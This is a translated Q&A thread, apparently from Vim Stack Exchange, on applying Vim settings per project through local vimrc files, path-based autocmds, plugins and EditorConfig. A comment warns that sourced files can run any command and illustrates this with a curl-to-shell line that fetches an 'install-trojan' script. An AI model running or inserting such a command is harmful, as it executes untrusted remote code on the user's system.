디렉토리 트리에만 설정 적용


33

내 작업에서 우리는 표준 ts2를 사용합니다 . 개인적 취향은 4이며, 이는 취미 프로젝트에 사용하는 것이며, 우리가 물려받은이 다른 프로젝트의 규칙은 ts=8입니다.

프로젝트별로 설정하려는 다른 설정도 있습니다 (예 : 접기). 이러한 설정을 파일 형식을 기반으로하거나 파일 사용에 따라 자동 감지하는 것은 좋은 옵션 이 아닙니다 . 각 프로젝트의 규칙을 존중하기 때문입니다.

Vim이 모든 파일에 모델을 추가하지 않고 프로젝트 (디렉토리 트리의 모든 것)에 적용되는 설정 파일을 사용하도록 할 수 있습니까?


답변:


19

이를 수행하는 몇 가지 간단한 방법이 있습니다.

  1. 주어진 이름의 파일을 확인하고 소스

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    이 예제에서는 파일이 숨겨져 있지만 선택 사항입니다.

  2. 로컬 .vimrc파일 (플러그인과 동일하지 않음)

    set exrc
    

    이것은 1과 비슷하지만 파일 이름은 ".vimrc"입니다.

    이것을 동반하는 일반적인 제안은

    set secure
    

    .vimrc파일이 쉘 명령을 실행하는 것과 같이 잠재적으로 위험한 작업을 수행 하지 못하게 합니다. 아이디어는 당신이 vim .vimrc이 불쾌한 일을하는 다른 사람에 의해 쓰여진 파일을 읽도록하고 싶지 않다는 것입니다.

  3. 현재 경로를 확인하는 자동 명령

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    이것이 내가 사용하는 옵션입니다. 나는 다른 프로젝트간에 많은 것을 변경하지 않기 때문에 YMMV이지만 경로를 기반으로 하나 또는 두 가지 일을하고 당신의 경로를 유지하고 싶다면 .vimrc간단하고 훌륭합니다.


옵션 1과 2는 이 주석에 설명 된 것과 동일한 제한 사항 있습니다. 하위 디렉토리에는 재귀 적으로 적용되지 않습니다.

15

이 목적으로 localvimrc 를 사용 합니다.

.lvimrc프로젝트 안에 프로젝트 설정을 넣으면 이 설정이의 설정보다 우선 .vimrc합니다.

기본적으로이 파일을 제공 할 것인지 묻는 메시지가 표시됩니다 (예 :

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

이것은 임의의 (신뢰할 수없는) vimrc 파일의 소싱을 방지하기위한 것입니다. 이 성가신 것을 발견하면 다음을 사용하여 .lvimrc파일 의 허용 목록을 설정할 수 있습니다 g:localvimrc_whitelist.

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

또는으로 완전히 확인 요청을 비활성화 할 수 있습니다 set g:localvimrc_ask = 0. 그러나 이것은 권장되지 않습니다.


5

중앙 구성

특정 명령 / 로컬 예외를 중앙에서 구성해도 괜찮다면 그러한 autocmds를 다음에 넣을 수 있습니다 ~/.vimrc.

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

사용하는 것이 중요합니다 :setlocal대신 :set마찬가지로, 및 :map <buffer> ...:command! -buffer ....

프로젝트에 저장된 특정 구성을 원하는 경우, 다른 한편으로는, (및하지를 통해 모든 파일이 포함하고자하는 모드 라인 , 다음 두 가지 옵션이 있습니다)

기능이 내장 된 로컬 구성

항상 프로젝트 루트 디렉토리에서 Vim을 시작하면 내장

:set exrc

.vimrc현재 디렉토리에서 파일을 읽을 수 있습니다 . :set ts=4 sw=4거기에 명령을 넣을 수 있습니다 .

플러그인을 통한 로컬 설정

그렇지 않으면 플러그인의 도움이 필요합니다. vim.org에는 몇 가지가 있습니다. 로컬 파일 유형별 구성을 허용 하는 localrc plugin도 추천 할 수 있습니다.

파일 시스템에서 구성을 읽는 것은 보안에 영향을 미칩니다. 당신은 할 수 있습니다 :set secure.


2
참고 .exrc극도로 제한됩니다 다음 프로젝트의 개념이 현재 디렉토리에서 정지는 서브 디렉토리 즉, 파일이 프로젝트에 속하지 않습니다.
Luc Hermitte

4

새 줄 스타일 및 기타 사항과 함께 탭 스톱 설정과 같은 프로젝트 레벨 구성을 정의 할 수 있는 Editor Config 프로젝트가 있습니다. vim을 포함한 모든 종류의 편집기를위한 많은 연결이 있습니다 . 또한 다른 파일 형식에 대한 설정을 정의 할 수 있습니다.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

나는 이것을 .vimrc에 추가하여 프로젝트와 하위 프로젝트에 .vimsettings 파일을 배치 할 수 있도록했습니다.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

이것이 작동하는 동안 파일을 소싱하고 그 안에있는 모든 명령을 실행하기 때문에 위험한 것으로 간주 될 수 있습니다 (예 : system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

나는 이것을 원했기 때문에 로컬로 구현했습니다. "임의 코드 실행"에 대해서는 관심이 없지만 간단한 요구에 적합합니다. 필요에 따라 파일 이름을 조정하십시오.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

이것은 local.vimrc실제로 다른 곳에서 소스 제어로 유지할 수있는 회사 별 vimrc 파일의 실질적인 모음에있는 파일에 대한 심볼릭 링크이므로 전체 구성을 다른 컴퓨터로 쉽게 옮기거나 현장이나 회사를 방문하는 경우 . 계단식 구성을 사용할 수 있지만 실제로는 해당 기능이 필요하지 않습니다. 또한 F8찾은 파일과 내 "메인" .vimrc을 새 탭에서 열 수 있습니다 .

로컬 구성 내에서 열린 모든 파일에 대해 구문 분석되므로 맵핑 및 설정을 버퍼 로컬로 설정해야합니다. 예 :

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.